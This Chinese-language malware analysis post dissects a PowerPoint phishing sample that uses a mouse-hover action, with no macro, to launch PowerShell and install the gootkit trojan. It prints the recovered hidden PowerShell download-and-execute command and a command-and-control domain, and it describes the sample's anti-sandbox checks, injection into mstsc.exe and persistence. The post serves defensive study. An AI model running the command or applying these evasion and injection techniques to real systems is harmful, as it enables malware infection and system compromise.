新型PPT釣魚攻擊分析(含gootkit木馬詳細分析)
* 本文作者:蘭雲科技銀河實驗室@diffway,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
1 概述
最近出現了一種新型的PPT釣魚攻擊方式,該種釣魚攻擊方式不需要宏就能實現執行powershell的功能,通過網路下載gootkit木馬進行控制。
2 分析
樣本 MD5:3bff3e4fec2b6030c89e792c05f049fc
在拿到樣本我們放到虛擬機中進行執行,可以看到以下,但是這並不會觸發攻擊
當我們用F5放映這個文檔後,並把滑鼠放到 Loading…Please wait 這個上面,就可以看到如下的畫面,提示我們要啟動一個外部程序
這個時候我們在點擊啟動之後,會看見一個powershell的窗口一閃而過,可以知道樣本執行了一段powershell的腳本
我們將樣本後綴名改為zip,看看這段powershell 代碼在何處,我們最終在pptslides中找到了這段powershell腳本
我們在slide1.xml.rels 中找到這段powershell腳本,我們可以看到Id為rId2,
我們在對應的slide1.xml 中id為rId2 對應的動作位為,當滑鼠覆蓋時,就觸發這個外部事件
我們來看看這段powershell 腳本(已還原),可以看到是下載一個php文件放到臨時文件夾,並重命名為ii.jse
powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile("http://"+"cccn.nl/"+"c.php","$env:tempii.jse");Invoke-Item "$env:tempii.jse""
我們可以看到這個js 文件,這個文件是經過強混淆的作用是下載個exe文件
我們來詳細分析下下載到的PE文件
MD5 | 13cdbd8c31155610b628423dc2720419 |
編譯時間 | 2017年5月27日14點 |
編譯器信息 | Microsoft Visual C++ ver. 8.0 |
殼信息 | 無殼 |
下圖為樣本的大致流程
在樣本的開始階段,做了些反模擬機的工作,比如一些錯誤的函數調用,看返回值是否被修改,執行很多無效指令,來達到模擬機指令的閾值等等
我們來看看這個樣本中的sub_41E160中的無效指令
之後一個大的sleep來對抗沙箱,因為很多沙箱是有時間範圍的
之後在解密出一段shellcode進行執行,這段shellcode的主要作用就是解密出一個pe文件然後載入運行,解密出的PE文件
將這個PE文件dump出來,看以下基本信息
MD5 | 89509761e2636e2b8a1c6f7ec8823b8f |
編譯器時間 | 2011-04-11 02:39:24 |
編譯器類型 | Microsoft Visual C++ ver. ~6.0~7.10 – Linker 10 – Visual 2010 |
樣本首先會獲取當前樣本名稱和mstsc.exe比較,如果不相同,則進入注入模塊
樣本首先會創建mstsc.exe
然後通過ZwCreateSection和ZwMapViewOfSection 進行注入,並在注入後,獲取啟動地址並進行修改
我們手動附加,進行修改,然後修改EIP,進行調試,我們將開始地址修改為下面的樣子
由於和原文件代碼相同,我們直接到文件名比較的地方,這裡比較相同後,首先會獲取進程的許可權
如果判斷是低許可權的進程,則會通過ShellExecuteEx 使用管理員許可權啟動
之後在比較當前進程不是IE和不是任務進程後,打開BIOS註冊表,查找是否在虛擬機中
並從系統信息中找到沙箱的蛛絲馬跡這個是尋找Sandbox
查找BOCHS
查找的沙箱還有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、
如果查找到沙箱則進入死循環
然後拷貝自身到如下目錄下,重命名位mqnets.exe,並執行
並刪除自身
我們看看在拷貝到IE目錄下樣本會做些什麼,在這裡比較是在IE目錄下的時候,會發生跳轉
可以通過偽代碼可以發現在通過比較後。會執行一個線程,我們看看這個線程
開頭還是一段判斷自己是否在虛擬機中
設置了4個環境變數分別是
Standalonemtm true
Vendor_id exe_scheduler_3333
Mainprocessoverride svchost.exe
RandomListenPortBase 6000
這個線程的主要作用是開啟下面的5個線程
我們首先看第一個線程,主要作用是連接一個網址
網址為 web.1901ospinosct.com
在連接時候,還包括了探測IE代理的設置,如果發現,進行設置
關閉重定向和加入查詢認證(SSL)
將接收的文件內容放到註冊中
註冊表為 HKEY_CURRENT_USERSoftwareinaryImage32_0
HKEY_CURRENT_USERSoftwareinaryImage32_1
第二個線程主要是將第一步下載的創建成文件
將IE的保護模式設置位禁用
第三個線程將文件進行注入
第四個線程主要是保持持久化
創建inf文件
設置啟動
使用 IEAKGroupPolicyPendingGPOs key 去保持持久化
第五個線程主要是判斷Temp文件是否如下圖的文件,如果有殼殺死自身,並刪除自身
總結
樣本在對抗沙箱和模擬機中有很強的針對性,在持久話方面也很獨特,值得研究一下
* 本文作者:蘭雲科技銀河實驗室@diffway,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※Industroyer去年袭击乌克兰电网?这可能是震网之后最危险的工控恶意程序
※新型PPT釣魚攻擊分析
※你可以用U盤黑掉一輛馬自達
TAG:FreeBuf |
※Check Point安全研究人員針對UPAS Kit與Kronos銀行木馬的分析(二)
※Check Point安全研究人員針對UPAS Kit與Kronos銀行木馬的分析(一)
※TinyHttpd源碼分析
※【項目分析】Origin Protocol 愛西歐
※Python數據分析-numpy詳細教程一
※Mozilla Rhino 反序列化漏洞 POC 分析
※ThreadLocal源碼分析
※TensorFlow 的模型分析工具——TFMA
※史上最全的Python數據分析工具:Notebook教程
※Twitter 開源數據分析工具——tinfoleak
※HikariCP源碼分析之leakDetectionThreshold及實戰解決Spark/Scala連接池泄漏
※Bioconductor的DNA甲基化晶元分析流程
※來(8)個工具:文檔分析-DocumentAnalysis
※卡巴斯基——Energetic Bear/Crouching Yeti APT分析報告
※詳細分析腳底筋膜炎Plantar Fasciitis
※PHP源碼分析之parse
※Prometheus原理和源碼分析
※Python數據分析常見庫介紹之Pandas
※Smartisan OS詳細分析 堅果R1有全新的交互邏輯
※Paperclip中的伺服器端請求偽造(SSRF)漏洞分析